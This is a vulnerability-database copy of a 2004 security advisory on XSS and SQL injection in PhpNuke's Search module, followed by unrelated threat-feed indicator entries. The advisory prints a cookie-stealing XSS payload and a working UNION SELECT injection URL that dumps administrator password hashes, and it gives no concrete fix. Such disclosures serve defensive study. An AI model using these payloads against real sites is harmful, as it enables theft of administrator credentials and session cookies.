Search...

[waraxe-2004-SA#035 - Multiple security holes in PhpNuke - part 2]

2004-07-17T00:00:00

ID SECURITYVULNS:DOC:6505
Type securityvulns
Reporter Securityvulns
Modified 2004-07-17T00:00:00

Description

{================================================================================} { [waraxe-2004-SA#035] } {================================================================================} { } { [ Multiple security holes in PhpNuke - part 2] } { } {================================================================================}

Author: Janek Vind "waraxe" Date: 17. July 2004 Location: Estonia, Tartu Web: http://www.waraxe.us/index.php?modname=sa&id=35

Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org

Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will look @ security holes - 1 XSS and 1 sql inject case -
in "Search" module.

A - Cross-site scripting aka XSS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - xss in "/modules/Search/index.php":

Open search page in phpnuke:

http://localhost/nuke73/modules.php?name=Search

and enter to input field something like this:

1"><body onload="alert(document.cookie);

In case of other browsers than IE xss exploiting method can be modified, but one thing is sure - xss case exists here...

B - Sql Injection ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - critical sql injection case in "/modules/Search/index.php":

Well, let's look at source code from that script:

----------------[ original source ]----------------- } elseif ($type == "comments" AND isset($sid)) { $res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'"); list($st_title) = $db->sql_fetchrow($res); $instory = "AND sid='$sid'"; echo "<center>"._SEARCHINSTORY." $st_title</center> "; } else { echo "<center>"._SEARCHIN." $topictext</center> "; } ----------------[/original source ]-----------------

So - if search type is "comments" and there is no "sid" specified, then sql query fragment "instory" is not initialized. Now, let's look further:

----------------[ original source ]----------------- } elseif ($type=="comments") { ... ... $result8 = $db->sql_query("SELECT tid, sid, subject, date, name from ".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%') $instory order by date DESC limit $min,$offset"); ... ... ----------------[/original source ]-----------------

What is here, is a typical case of uninitialized variable - "instory". It's time to turn this little bug to something evil:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=comments& query=not123exists&instory=//UNION//SELECT//0,0,pwd,0,aid//FROM/**/nuke_authors

----------------[/real life exploit ]---------------

... and we see all the secret information about admins :)

Have a nice day!

How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html

See ya there!

Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff! Special greets to icenix and slimjim100! Tervitused - Heintz ja Maku!

Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind &quot;waraxe&quot;

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

JSON Vulners Source

Initial Source

{"id": "SECURITYVULNS:DOC:6505", "bulletinFamily": "software", "title": "[waraxe-2004-SA#035 - Multiple security holes in PhpNuke - part 2]", "description": "{================================================================================}\r\n{ [waraxe-2004-SA#035] }\r\n{================================================================================}\r\n{ }\r\n{ [ Multiple security holes in PhpNuke - part 2] }\r\n{ }\r\n{================================================================================}\r\n \r\nAuthor: Janek Vind "waraxe"\r\nDate: 17. July 2004\r\nLocation: Estonia, Tartu\r\nWeb: http://www.waraxe.us/index.php?modname=sa&id=35\r\n\r\n\r\nAffected software description:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nPhp-Nuke is a popular freeware content management system, written in php by\r\nFrancisco Burzi. This CMS (Content Management System) is used on many thousands\r\nwebsites, because it's freeware, easy to install and has broad set of features.\r\n\r\nHomepage: http://phpnuke.org\r\n\r\n\r\n\r\nVulnerabilities:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nThis time we will look @ security holes - 1 XSS and 1 sql inject case - \r\nin "Search" module.\r\n\r\n\r\nA - Cross-site scripting aka XSS\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nA1 - xss in "/modules/Search/index.php":\r\n\r\nOpen search page in phpnuke:\r\n\r\nhttp://localhost/nuke73/modules.php?name=Search\r\n\r\nand enter to input field something like this:\r\n\r\n1"><body onload="alert(document.cookie);\r\n\r\nIn case of other browsers than IE xss exploiting method can be modified, but one thing\r\nis sure - xss case exists here...\r\n\r\n\r\nB - Sql Injection\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nB1 - critical sql injection case in "/modules/Search/index.php":\r\n\r\nWell, let's look at source code from that script:\r\n\r\n----------------[ original source ]-----------------\r\n} elseif ($type == "comments" AND isset($sid)) {\r\n $res = $db->sql_query("select title from ".$prefix."_stories where sid='$sid'");\r\n list($st_title) = $db->sql_fetchrow($res);\r\n $instory = "AND sid='$sid'";\r\n echo "<center>"._SEARCHINSTORY." $st_title</center> ";\r\n} else {\r\n echo "<center>"._SEARCHIN." $topictext</center> ";\r\n}\r\n----------------[/original source ]-----------------\r\n\r\nSo - if search type is "comments" and there is no "sid" specified, then sql query \r\nfragment "instory" is not initialized. Now, let's look further:\r\n\r\n\r\n----------------[ original source ]-----------------\r\n} elseif ($type=="comments") {\r\n...\r\n...\r\n $result8 = $db->sql_query("SELECT tid, sid, subject, date, name from\r\n ".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%')\r\n $instory order by date DESC limit $min,$offset");\r\n...\r\n...\r\n----------------[/original source ]-----------------\r\n\r\nWhat is here, is a typical case of uninitialized variable - "instory".\r\nIt's time to turn this little bug to something evil:\r\n\r\n----------------[ real life exploit ]---------------\r\n\r\nhttp://localhost/nuke73/modules.php?name=Search&type=comments&\r\nquery=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors\r\n\r\n----------------[/real life exploit ]---------------\r\n\r\n... and we see all the secret information about admins :)\r\n\r\nHave a nice day!\r\n\r\n\r\nHow to fix:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n\r\nFixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html\r\n\r\nSee ya there!\r\n\r\n\r\nGreetings:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nGreets to Raido Kerna and to http://www.gamecheaters.us staff!\r\nSpecial greets to icenix and slimjim100!\r\nTervitused - Heintz ja Maku!\r\n\r\n\r\nContact:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n come2waraxe@yahoo.com\r\n Janek Vind "waraxe"\r\n\r\n Homepage: http://www.waraxe.us/\r\n\r\n---------------------------------- [ EOF ] ------------------------------------", "published": "2004-07-17T00:00:00", "modified": "2004-07-17T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:6505", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:10", "edition": 1, "viewCount": 2, "enchantments": {"score": {"value": 2.0, "vector": "NONE", "modified": "2018-08-31T11:10:10", "rev": 2}, "dependencies": {"references": [{"type": "threatpost", "idList": ["THREATPOST:F3563336B135A1D7C1251AE54FDC6286"]}, {"type": "nessus", "idList": ["EULEROS_SA-2020-1318.NASL", "EULEROS_SA-2020-1323.NASL", "FREEBSD_PKG_090763F6703011EA93DD080027846A02.NASL", "EULEROS_SA-2020-1314.NASL", "DEBIAN_DLA-2164.NASL", "FREEBSD_PKG_40194E1C6D8911EA808280EE73419AF3.NASL", "FREEBSD_PKG_D887B3D9736611EAB81A001CC0382B2F.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562311220201314", "OPENVAS:1361412562310892164", "OPENVAS:1361412562311220201323", "OPENVAS:1361412562311220201318"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2164-1:52F3C"]}, {"type": "freebsd", "idList": ["D887B3D9-7366-11EA-B81A-001CC0382B2F"]}, {"type": "zdt", "idList": ["1337DAY-ID-34159", "1337DAY-ID-34153", "1337DAY-ID-34157", "1337DAY-ID-34144", "1337DAY-ID-34134"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:10149"]}], "modified": "2018-08-31T11:10:10", "rev": 2}, "vulnersScore": 2.0}, "affectedSoftware": []}

{"rst": [{"lastseen": "2021-03-05T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **111[.]68.24.42** in [RST Threat Feed](https://www.rstcloud.net/profeed) with score **43**.\n First seen: 2021-02-27T03:00:00, Last seen: 2021-03-05T03:00:00.\n IOC tags: **shellprobe**.\nASN 55666: (First IP 111.68.24.0, Last IP 111.68.31.255).\nASN Name \"GMEDIAASID\" and Organisation \"PT Media Sarana Data\".\nASN hosts 502 domains.\nGEO IP information: City \"Magelang\", Country \"Indonesia\".\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-27T00:00:00", "id": "RST:EF4234B8-6505-32A5-9A8E-9AF418360454", "href": "", "published": "2021-03-06T00:00:00", "title": "RST Threat feed. IOC: 111.68.24.42", "type": "rst", "cvss": {}}, {"lastseen": "2021-03-05T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **202[.]148.31.174** in [RST Threat Feed](https://www.rstcloud.net/profeed) with score **12**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-03-05T03:00:00.\n IOC tags: **generic**.\nASN 38778: (First IP 202.148.30.0, Last IP 202.148.31.255).\nASN Name \"DWPNETASID\" and Organisation \"PT Dutakom Wibawa Putra\".\nASN hosts 393 domains.\nGEO IP information: City \"Surabaya\", Country \"Indonesia\".\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:5A1E841C-6505-397C-B09D-EFEB8F4D345A", "href": "", "published": "2021-03-06T00:00:00", "title": "RST Threat feed. IOC: 202.148.31.174", "type": "rst", "cvss": {}}, {"lastseen": "2021-02-24T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **q1[.]bitcoin.com** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2021-02-24T03:00:00, Last seen: 2021-02-24T03:00:00.\n IOC tags: **cryptomining**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-24T00:00:00", "id": "RST:EE855094-6505-3EB9-AD90-46074B16DB88", "href": "", "published": "2021-02-24T00:00:00", "title": "RST Threat feed. IOC: q1.bitcoin.com", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-17T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **giro[.]explorer.xwp.one** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-08-04T03:00:00, Last seen: 2021-01-17T03:00:00.\n IOC tags: **cryptomining**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-08-04T00:00:00", "id": "RST:D03A6BFB-6505-3E9C-B50A-BE9B77DCD70D", "href": "", "published": "2021-02-24T00:00:00", "title": "RST Threat feed. IOC: giro.explorer.xwp.one", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-17T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **cyuyan21dianyouxidaima[.]dev.api.binance.com** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2021-01-17T03:00:00, Last seen: 2021-01-17T03:00:00.\n IOC tags: **cryptomining**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-01-17T00:00:00", "id": "RST:315A688B-6505-3BA4-AF6D-2B9113219CA4", "href": "", "published": "2021-02-24T00:00:00", "title": "RST Threat feed. IOC: cyuyan21dianyouxidaima.dev.api.binance.com", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-17T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **2511891[.]btcc.com** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2019-12-15T03:00:00, Last seen: 2021-01-17T03:00:00.\n IOC tags: **cryptomining**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2019-12-15T00:00:00", "id": "RST:FAB2C6A4-6505-39BD-8A34-F9D72DA60C72", "href": "", "published": "2021-02-24T00:00:00", "title": "RST Threat feed. IOC: 2511891.btcc.com", "type": "rst", "cvss": {}}, {"lastseen": "2021-02-24T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **http://dropbox[.]com/s/lz86qb2tmuelriy/information%2069079.zip?dl=1** in [RST Threat Feed](https://rstcloud.net/profeed) with score **66**.\n First seen: 2021-02-24T03:00:00, Last seen: 2021-02-24T03:00:00.\n IOC tags: **malware**.\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-24T00:00:00", "id": "RST:B8EFF2F7-6505-3A01-8EBA-6D0C4EC9D9B8", "href": "", "published": "2021-02-24T00:00:00", "title": "RST Threat feed. IOC: http://dropbox.com/s/lz86qb2tmuelriy/information%2069079.zip?dl=1", "type": "rst", "cvss": {}}, {"lastseen": "2021-02-23T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **0[.]0.0.0 www.rw.api.bitcoin.com** in [RST Threat Feed](https://rstcloud.net/profeed) with score **20**.\n First seen: 2021-02-23T03:00:00, Last seen: 2021-02-23T03:00:00.\n IOC tags: **cryptomining**.\nWhois:\n Created: 2008-01-04 14:15:06, \n Registrar: unknown, \n Registrant: NameCheap Inc.\nIOC could be a **False Positive** (Domain not resolved, but Whois records found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-23T00:00:00", "id": "RST:23E55C77-6505-370A-B2AE-506A6E09D4AA", "href": "", "published": "2021-02-23T00:00:00", "title": "RST Threat feed. IOC: 0.0.0.0 www.rw.api.bitcoin.com", "type": "rst", "cvss": {}}, {"lastseen": "2021-02-15T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **0[.]0.0.0 remastranttac25.club** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2021-02-15T03:00:00, Last seen: 2021-02-15T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-15T00:00:00", "id": "RST:A6FDF28B-6505-3F32-8DEF-074593620AA7", "href": "", "published": "2021-02-15T00:00:00", "title": "RST Threat feed. IOC: 0.0.0.0 remastranttac25.club", "type": "rst", "cvss": {}}, {"lastseen": "2021-02-15T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **0[.]0.0.0 www.winpctools.host** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2021-02-15T03:00:00, Last seen: 2021-02-15T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2021-02-15T00:00:00", "id": "RST:EC0B2E00-6505-356A-A5EE-3414C3C64940", "href": "", "published": "2021-02-15T00:00:00", "title": "RST Threat feed. IOC: 0.0.0.0 www.winpctools.host", "type": "rst", "cvss": {}}]}